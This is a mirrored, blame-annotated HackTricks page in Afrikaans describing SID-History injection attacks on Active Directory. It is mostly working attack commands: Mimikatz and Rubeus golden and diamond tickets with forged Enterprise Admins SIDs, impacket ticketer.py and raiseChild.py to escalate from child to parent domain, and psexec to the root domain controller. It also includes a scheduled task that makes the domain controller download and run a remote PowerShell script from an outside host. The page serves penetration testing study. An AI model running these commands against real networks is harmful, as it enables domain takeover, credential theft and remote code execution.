Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2024-11-22 12:43:23 +00:00
Code Issues Projects Releases Packages Wiki Activity
hacktricks/windows-hardening/active-directory-methodology/sid-history-injection.md

165 lines
8.9 KiB
Markdown
Raw Normal View History

Translated to Afrikaans
2024-02-11 02:07:06 +00:00
# SID-History Injeksie
GitBook: [#3391] No subject
2022-08-15 21:10:48 +00:00
<details>
Translated to Afrikaans
2024-02-11 02:07:06 +00:00
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
GitBook: [#3391] No subject
2022-08-15 21:10:48 +00:00
Translated to Afrikaans
2024-02-11 02:07:06 +00:00
* Werk jy in 'n **cybersecurity-maatskappy**? Wil jy jou **maatskappy adverteer in HackTricks**? Of wil jy toegang hê tot die **nuutste weergawe van die PEASS of laai HackTricks af in PDF-formaat**? Kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** my op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacking-truuks deur PR's in te dien by die [hacktricks repo](https://github.com/carlospolop/hacktricks) en [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
GitBook: [#3391] No subject
2022-08-15 21:10:48 +00:00
</details>
Translated to Afrikaans
2024-02-11 02:07:06 +00:00
## SID Geskiedenis Injeksie Aanval
GitBook: [#3455] No subject
2022-09-04 09:37:14 +00:00
Translated to Afrikaans
2024-02-11 02:07:06 +00:00
Die fokus van die **SID Geskiedenis Injeksie Aanval** is om **gebruikerverskuiwing tussen domeine** te ondersteun terwyl voortgesette toegang tot hulpbronne van die vorige domein verseker word. Dit word bereik deur die **vorige Sekuriteitsidentifiseerder (SID) van die gebruiker in die SID-geskiedenis** van hul nuwe rekening in te sluit. Dit kan egter misbruik word om ongemagtigde toegang te verleen deur die SID van 'n hoë-voorregtegroep (soos Enterprise Admins of Domain Admins) van die ouer domein by die SID-geskiedenis te voeg. Hierdie uitbuiting verleen toegang tot alle hulpbronne binne die ouer domein.
GitBook: [#3391] No subject
2022-08-15 21:10:48 +00:00
Translated to Afrikaans
2024-02-11 02:07:06 +00:00
Daar bestaan twee metodes om hierdie aanval uit te voer: deur die skepping van 'n **Golden Ticket** of 'n **Diamond Ticket**.
GitBook: [#3391] No subject
2022-08-15 21:10:48 +00:00
Translated to Afrikaans
2024-02-11 02:07:06 +00:00
Om die SID vir die **"Enterprise Admins"**-groep te vind, moet jy eers die SID van die hoofdomein opspoor. Nadat die identifikasie voltooi is, kan die SID van die Enterprise Admins-groep gekonstrueer word deur `-519` aan die SID van die hoofdomein toe te voeg. Byvoorbeeld, as die SID van die hoofdomein `S-1-5-21-280534878-1496970234-700767426` is, sal die resulterende SID vir die "Enterprise Admins" groep `S-1-5-21-280534878-1496970234-700767426-519` wees.
GitBook: [#3455] No subject
2022-09-04 09:37:14 +00:00
Translated to Afrikaans
2024-02-11 02:07:06 +00:00
Jy kan ook die **Domain Admins**-groepe gebruik, wat eindig in **512**.
GitBook: [#3391] No subject
2022-08-15 21:10:48 +00:00
Translated to Afrikaans
2024-02-11 02:07:06 +00:00
'n Ander manier om die SID van 'n groep van die ander domein (byvoorbeeld "Domain Admins") te vind, is met:
GitBook: [#3391] No subject
2022-08-15 21:10:48 +00:00
```powershell
Get-DomainGroup -Identity "Domain Admins" -Domain parent.io -Properties ObjectSid
```
Translated to Afrikaans
2024-02-11 02:07:06 +00:00
### Goue Kaartjie (Mimikatz) met KRBTGT-AES256
GitBook: [#3391] No subject
2022-08-15 21:10:48 +00:00
GitBook: [#3573] No subject
2022-10-06 09:16:41 +00:00
{% code overflow="wrap" %}
GitBook: [#3455] No subject
2022-09-04 09:37:14 +00:00
```bash
mimikatz.exe "kerberos::golden /user:Administrator /domain:<current_domain> /sid:<current_domain_sid> /sids:<victim_domain_sid_of_group> /aes256:<krbtgt_aes256> /startoffset:-10 /endin:600 /renewmax:10080 /ticket:ticket.kirbi" "exit"
GitBook: [#3573] No subject
2022-10-06 09:16:41 +00:00
/user is the username to impersonate (could be anything)
GitBook: [#3455] No subject
2022-09-04 09:37:14 +00:00
/domain is the current domain.
/sid is the current domain SID.
/sids is the SID of the target group to add ourselves to.
/aes256 is the AES256 key of the current domain's krbtgt account.
GitBook: [#3573] No subject
2022-10-06 09:16:41 +00:00
--> You could also use /krbtgt:<HTML of krbtgt> instead of the "/aes256" option
GitBook: [#3455] No subject
2022-09-04 09:37:14 +00:00
/startoffset sets the start time of the ticket to 10 mins before the current time.
/endin sets the expiry date for the ticket to 60 mins.
/renewmax sets how long the ticket can be valid for if renewed.
# The previous command will generate a file called ticket.kirbi
# Just loading you can perform a dcsync attack agains the domain
GitBook: [#3391] No subject
2022-08-15 21:10:48 +00:00
```
GitBook: [#3573] No subject
2022-10-06 09:16:41 +00:00
{% endcode %}
GitBook: [#3391] No subject
2022-08-15 21:10:48 +00:00
Translated to Afrikaans
2024-02-11 02:07:06 +00:00
Vir meer inligting oor goue kaartjies, kyk:
GitBook: [#3391] No subject
2022-08-15 21:10:48 +00:00
{% content-ref url="golden-ticket.md" %}
[golden-ticket.md](golden-ticket.md)
{% endcontent-ref %}
Translated to Afrikaans
2024-02-11 02:07:06 +00:00
### Diamantkaartjie (Rubeus + KRBTGT-AES256)
GitBook: [#3391] No subject
2022-08-15 21:10:48 +00:00
GitBook: [#3573] No subject
2022-10-06 09:16:41 +00:00
{% code overflow="wrap" %}
GitBook: [#3391] No subject
2022-08-15 21:10:48 +00:00
```powershell
# Use the /sids param
Rubeus.exe diamond /tgtdeleg /ticketuser:Administrator /ticketuserid:500 /groups:512 /sids:S-1-5-21-378720957-2217973887-3501892633-512 /krbkey:390b2fdb13cc820d73ecf2dadddd4c9d76425d4c2156b89ac551efb9d591a8aa /nowrap
GitBook: [#3573] No subject
2022-10-06 09:16:41 +00:00
# Or a ptt with a golden ticket
Rubeus.exe golden /rc4:<krbtgt hash> /domain:<child_domain> /sid:<child_domain_sid> /sids:<parent_domain_sid>-519 /user:Administrator /ptt
# You can use "Administrator" as username or any other string
GitBook: [#3391] No subject
2022-08-15 21:10:48 +00:00
```
GitBook: [#3573] No subject
2022-10-06 09:16:41 +00:00
{% endcode %}
GitBook: [#3391] No subject
2022-08-15 21:10:48 +00:00
Translated to Afrikaans
2024-02-11 02:07:06 +00:00
Vir meer inligting oor diamantkaartjies, kyk:
GitBook: [#3391] No subject
2022-08-15 21:10:48 +00:00
{% content-ref url="diamond-ticket.md" %}
[diamond-ticket.md](diamond-ticket.md)
{% endcontent-ref %}
GitBook: [#3573] No subject
2022-10-06 09:16:41 +00:00
{% code overflow="wrap" %}
GitBook: [#3391] No subject
2022-08-15 21:10:48 +00:00
```bash
Translated to Afrikaans
2024-02-11 02:07:06 +00:00
.\asktgs.exe C:\AD\Tools\kekeo_old\trust_tkt.kirbi CIFS/mcorp-dc.moneycorp.local
GitBook: [#3391] No subject
2022-08-15 21:10:48 +00:00
.\kirbikator.exe lsa .\CIFS.mcorpdc.moneycorp.local.kirbi
ls \\mcorp-dc.moneycorp.local\c$
```
GitBook: [#3573] No subject
2022-10-06 09:16:41 +00:00
{% endcode %}
GitBook: [#3391] No subject
2022-08-15 21:10:48 +00:00
Translated to Afrikaans
2024-02-11 02:07:06 +00:00
Skalasieer na DA of root of Enterprise-admin deur die KRBTGT-hash van die gekompromitteerde domein te gebruik:
GitBook: [#3391] No subject
2022-08-15 21:10:48 +00:00
GitBook: [#3573] No subject
2022-10-06 09:16:41 +00:00
{% code overflow="wrap" %}
GitBook: [#3391] No subject
2022-08-15 21:10:48 +00:00
```bash
Invoke-Mimikatz -Command '"kerberos::golden /user:Administrator /domain:dollarcorp.moneycorp.local /sid:S-1-5-211874506631-3219952063-538504511 /sids:S-1-5-21-280534878-1496970234700767426-519 /krbtgt:ff46a9d8bd66c6efd77603da26796f35 /ticket:C:\AD\Tools\krbtgt_tkt.kirbi"'
GitBook: [#3573] No subject
2022-10-06 09:16:41 +00:00
GitBook: [#3391] No subject
2022-08-15 21:10:48 +00:00
Invoke-Mimikatz -Command '"kerberos::ptt C:\AD\Tools\krbtgt_tkt.kirbi"'
GitBook: [#3573] No subject
2022-10-06 09:16:41 +00:00
GitBook: [#3391] No subject
2022-08-15 21:10:48 +00:00
gwmi -class win32_operatingsystem -ComputerName mcorpdc.moneycorp.local
GitBook: [#3573] No subject
2022-10-06 09:16:41 +00:00
GitBook: [#3391] No subject
2022-08-15 21:10:48 +00:00
schtasks /create /S mcorp-dc.moneycorp.local /SC Weekely /RU "NT Authority\SYSTEM" /TN "STCheck114" /TR "powershell.exe -c 'iex (New-Object Net.WebClient).DownloadString(''http://172.16.100.114:8080/pc.ps1''')'"
GitBook: [#3573] No subject
2022-10-06 09:16:41 +00:00
GitBook: [#3391] No subject
2022-08-15 21:10:48 +00:00
schtasks /Run /S mcorp-dc.moneycorp.local /TN "STCheck114"
```
GitBook: [#3573] No subject
2022-10-06 09:16:41 +00:00
{% endcode %}
Translated to Afrikaans
2024-02-11 02:07:06 +00:00
Met die verkryging van die toestemmings van die aanval kan jy byvoorbeeld 'n DCSync-aanval in die nuwe domein uitvoer:
GitBook: [#3573] No subject
2022-10-06 09:16:41 +00:00
{% content-ref url="dcsync.md" %}
[dcsync.md](dcsync.md)
{% endcontent-ref %}
Translated to Afrikaans
2024-02-11 02:07:06 +00:00
### Vanaf Linux
GitBook: [#3573] No subject
2022-10-06 09:16:41 +00:00
Translated to Afrikaans
2024-02-11 02:07:06 +00:00
#### Handleiding met [ticketer.py](https://github.com/SecureAuthCorp/impacket/blob/master/examples/ticketer.py)
GitBook: [#3573] No subject
2022-10-06 09:16:41 +00:00
{% code overflow="wrap" %}
```bash
# This is for an attack from child to root domain
# Get child domain SID
lookupsid.py <child_domain>/username@10.10.10.10 | grep "Domain SID"
# Get root domain SID
lookupsid.py <child_domain>/username@10.10.10.10 | grep -B20 "Enterprise Admins" | grep "Domain SID"
# Generate golden ticket
ticketer.py -nthash <krbtgt_hash> -domain <child_domain> -domain-sid <child_domain_sid> -extra-sid <root_domain_sid> Administrator
# NOTE THAT THE USERNAME ADMINISTRATOR COULD BE ACTUALLY ANYTHING
# JUST USE THE SAME USERNAME IN THE NEXT STEPS
# Load ticket
Translated to Afrikaans
2024-02-11 02:07:06 +00:00
export KRB5CCNAME=hacker.ccache
GitBook: [#3573] No subject
2022-10-06 09:16:41 +00:00
# psexec in domain controller of root
psexec.py <child_domain>/Administrator@dc.root.local -k -no-pass -target-ip 10.10.10.10
```
{% endcode %}
Translated to Afrikaans
2024-02-11 02:07:06 +00:00
#### Outomaties met behulp van [raiseChild.py](https://github.com/SecureAuthCorp/impacket/blob/master/examples/raiseChild.py)
GitBook: [#3573] No subject
2022-10-06 09:16:41 +00:00
Translated to Afrikaans
2024-02-11 02:07:06 +00:00
Dit is 'n Impacket-skripsie wat sal outomatiseer om van kind na ouer domein te eskaleer. Die skripsie benodig:
GitBook: [#3573] No subject
2022-10-06 09:16:41 +00:00
Translated to Afrikaans
2024-02-11 02:07:06 +00:00
* Teikendomeinbeheerder
* Gelde vir 'n administrateurgebruiker in die kinddomein
GitBook: [#3573] No subject
2022-10-06 09:16:41 +00:00
Translated to Afrikaans
2024-02-11 02:07:06 +00:00
Die stroom is as volg:
GitBook: [#3573] No subject
2022-10-06 09:16:41 +00:00
Translated to Afrikaans
2024-02-11 02:07:06 +00:00
* Verkry die SID vir die Enterprise Admins-groep van die ouer domein
* Haal die has vir die KRBTGT-rekening in die kinddomein op
* Skep 'n Golden Ticket
* Teken in by die ouer domein
* Haal gelde vir die Administrateur-rekening in die ouer domein op
* As die `target-exec`-skakelaar gespesifiseer word, verifieer dit na die ouer domein se domeinbeheerder via Psexec.
GitBook: [#3573] No subject
2022-10-06 09:16:41 +00:00
```bash
raiseChild.py -target-exec 10.10.10.10 <child_domain>/username
```
Translated to Afrikaans
2024-02-11 02:07:06 +00:00
## Verwysings
a
2024-02-08 03:06:37 +00:00
* [https://adsecurity.org/?p=1772](https://adsecurity.org/?p=1772)
* [https://www.sentinelone.com/blog/windows-sid-history-injection-exposure-blog/](https://www.sentinelone.com/blog/windows-sid-history-injection-exposure-blog/)
GitBook: [#3391] No subject
2022-08-15 21:10:48 +00:00
GitBook: [#3555] No subject
2022-10-04 14:21:27 +00:00
<details>
GitBook: [#3391] No subject
2022-08-15 21:10:48 +00:00
Translated to Afrikaans
2024-02-11 02:07:06 +00:00
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
GitBook: [#3391] No subject
2022-08-15 21:10:48 +00:00
Translated to Afrikaans
2024-02-11 02:07:06 +00:00
* Werk jy in 'n **cybersecurity-maatskappy**? Wil jy jou **maatskappy adverteer in HackTricks**? Of wil jy toegang hê tot die **nuutste weergawe van die PEASS of laai HackTricks in PDF af**? Kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** my op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacking-truuks deur PR's in te dien by die [hacktricks repo](https://github.com/carlospolop/hacktricks) en [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
GitBook: [#3391] No subject
2022-08-15 21:10:48 +00:00
</details>
Reference in a new issue Copy permalink